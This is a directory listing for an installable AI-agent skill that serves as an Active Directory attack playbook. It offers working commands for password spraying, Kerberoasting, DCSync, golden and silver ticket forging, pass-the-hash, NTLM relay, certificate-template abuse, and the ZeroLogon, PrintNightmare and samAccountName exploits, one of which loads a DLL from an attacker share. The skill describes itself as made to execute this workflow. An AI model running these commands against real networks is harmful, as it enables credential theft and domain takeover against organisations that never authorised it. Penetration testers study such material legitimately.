active directory attacks

安装量: 44
排名: #16628

安装

npx skills add https://github.com/sickn33/antigravity-awesome-skills --skill active-directory-attacks

Active Directory Attacks Purpose Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing. Inputs/Prerequisites Kali Linux or Windows attack platform Domain user credentials (for most attacks) Network access to Domain Controller Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec Outputs/Deliverables Domain enumeration data Extracted credentials and hashes Kerberos tickets for impersonation Domain Administrator access Persistent access mechanisms Essential Tools Tool Purpose BloodHound AD attack path visualization Impacket Python AD attack tools Mimikatz Credential extraction Rubeus Kerberos attacks CrackMapExec Network exploitation PowerView AD enumeration Responder LLMNR/NBT-NS poisoning Core Workflow Step 1: Kerberos Clock Sync Kerberos requires clock synchronization (±5 minutes):

Detect clock skew

nmap -sT 10.10 .10.10 -p445 --script smb2-time

Fix clock on Linux

sudo date -s "14 APR 2024 18:25:16"

Fix clock on Windows

net time /domain /set

Fake clock without changing system time

faketime -f '+8h' < command

Step 2: AD Reconnaissance with BloodHound

Start BloodHound

neo4j console bloodhound --no-sandbox

Collect data with SharpHound

. \ SharpHound.exe -c All . \ SharpHound.exe -c All --ldapusername user --ldappassword pass

Python collector (from Linux)

bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10 .10.10 -c all Step 3: PowerView Enumeration

Get domain info

Get-NetDomain Get-DomainSID Get-NetDomainController

Enumerate users

Get-NetUser Get-NetUser - SamAccountName targetuser Get-UserProperty - Properties pwdlastset

Enumerate groups

Get-NetGroupMember

GroupName "Domain Admins" Get-DomainGroup - Identity "Domain Admins" | Select-Object - ExpandProperty Member

Find local admin access

Find-LocalAdminAccess

Verbose

User hunting

Invoke-UserHunter Invoke-UserHunter - Stealth Credential Attacks Password Spraying

Using kerbrute

./kerbrute passwordspray -d domain.local --dc 10.10 .10.10 users.txt Password123

Using CrackMapExec

crackmapexec smb 10.10 .10.10 -u users.txt -p 'Password123' --continue-on-success Kerberoasting Extract service account TGS tickets and crack offline:

Impacket

GetUserSPNs.py domain.local/user:password -dc-ip 10.10 .10.10 -request -outputfile hashes.txt

Rubeus

. \ Rubeus.exe kerberoast /outfile:hashes.txt

CrackMapExec

crackmapexec ldap 10.10 .10.10 -u user -p password --kerberoast output.txt

Crack with hashcat

hashcat -m 13100 hashes.txt rockyou.txt AS-REP Roasting Target accounts with "Do not require Kerberos preauthentication":

Impacket

GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10 .10.10 -format hashcat

Rubeus

. \ Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

Crack with hashcat

hashcat -m 18200 hashes.txt rockyou.txt DCSync Attack Extract credentials directly from DC (requires Replicating Directory Changes rights):

Impacket

secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt

Mimikatz

lsadump::dcsync /domain:domain.local /user:krbtgt lsadump::dcsync /domain:domain.local /user:Administrator Kerberos Ticket Attacks Pass-the-Ticket (Golden Ticket) Forge TGT with krbtgt hash for any user:

Get krbtgt hash via DCSync first

Mimikatz - Create Golden Ticket

kerberos::golden / user:Administrator / domain:domain . local / sid:S-1-5-21-xxx / krbtgt:HASH / id:500 / ptt

Impacket

ticketer . py - nthash KRBTGT_HASH - domain-sid S-1-5-21-xxx - domain domain . local Administrator export KRB5CCNAME=Administrator . ccache psexec . py - k - no-pass domain . local/Administrator@dc . domain . local Silver Ticket Forge TGS for specific service:

Mimikatz

kerberos::golden / user:Administrator / domain:domain . local / sid:S-1-5-21-xxx / target:server . domain . local / service:cifs / rc4:SERVICE_HASH / ptt Pass-the-Hash

Impacket

psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH

CrackMapExec

crackmapexec smb 10.10 .10.10 -u Administrator -H NTHASH -d domain.local crackmapexec smb 10.10 .10.10 -u Administrator -H NTHASH --local-auth OverPass-the-Hash Convert NTLM hash to Kerberos ticket:

Impacket

getTGT.py domain.local/user -hashes :NTHASH export KRB5CCNAME = user.ccache

Rubeus

. \ Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt NTLM Relay Attacks Responder + ntlmrelayx

Start Responder (disable SMB/HTTP for relay)

responder -I eth0 -wrf

Start relay

ntlmrelayx.py -tf targets.txt -smb2support

LDAP relay for delegation attack

ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access SMB Signing Check crackmapexec smb 10.10 .10.0/24 --gen-relay-list targets.txt Certificate Services Attacks (AD CS) ESC1 - Misconfigured Templates

Find vulnerable templates

certipy find -u user@domain.local -p password -dc-ip 10.10 .10.10

Exploit ESC1

certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local

Authenticate with certificate

certipy auth -pfx administrator.pfx -dc-ip 10.10 .10.10 ESC8 - Web Enrollment Relay ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController Critical CVEs ZeroLogon (CVE-2020-1472)

Check vulnerability

crackmapexec smb 10.10 .10.10 -u '' -p '' -M zerologon

Exploit

python3 cve-2020-1472-exploit.py DC01 10.10 .10.10

Extract hashes

secretsdump.py -just-dc domain.local/DC01 \ $@ 10.10 .10.10 -no-pass

Restore password (important!)

python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10 .10.10 -hexpass HEXPASSWORD PrintNightmare (CVE-2021-1675)

Check for vulnerability

rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

Exploit (requires hosting malicious DLL)

python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\attacker\share\evil.dll' samAccountName Spoofing (CVE-2021-42278/42287)

Automated exploitation

python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10 .10.10 -shell Quick Reference Attack Tool Command Kerberoast Impacket GetUserSPNs.py domain/user:pass -request AS-REP Roast Impacket GetNPUsers.py domain/ -usersfile users.txt DCSync secretsdump secretsdump.py domain/admin:pass@DC Pass-the-Hash psexec psexec.py domain/user@target -hashes :HASH Golden Ticket Mimikatz kerberos::golden /user:Admin /krbtgt:HASH Spray kerbrute kerbrute passwordspray -d domain users.txt Pass Constraints Must: Synchronize time with DC before Kerberos attacks Have valid domain credentials for most attacks Document all compromised accounts Must Not: Lock out accounts with excessive password spraying Modify production AD objects without approval Leave Golden Tickets without documentation Should: Run BloodHound for attack path discovery Check for SMB signing before relay attacks Verify patch levels for CVE exploitation Examples Example 1: Domain Compromise via Kerberoasting

1. Find service accounts with SPNs

GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10 .10.10

2. Request TGS tickets

GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10 .10.10 -request -outputfile tgs.txt

3. Crack tickets

hashcat -m 13100 tgs.txt rockyou.txt

4. Use cracked service account

psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10 Example 2: NTLM Relay to LDAP

1. Start relay targeting LDAP

ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

2. Trigger authentication (e.g., via PrinterBug)

python3 printerbug.py domain.local/user:pass@target 10.10 .10.12

3. Use created machine account for RBCD attack

Troubleshooting Issue Solution Clock skew too great Sync time with DC or use faketime Kerberoasting returns empty No service accounts with SPNs DCSync access denied Need Replicating Directory Changes rights NTLM relay fails Check SMB signing, try LDAP target BloodHound empty Verify collector ran with correct creds Additional Resources For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see references/advanced-attacks.md . When to Use This skill is applicable to execute the workflow or actions described in the overview.

返回排行榜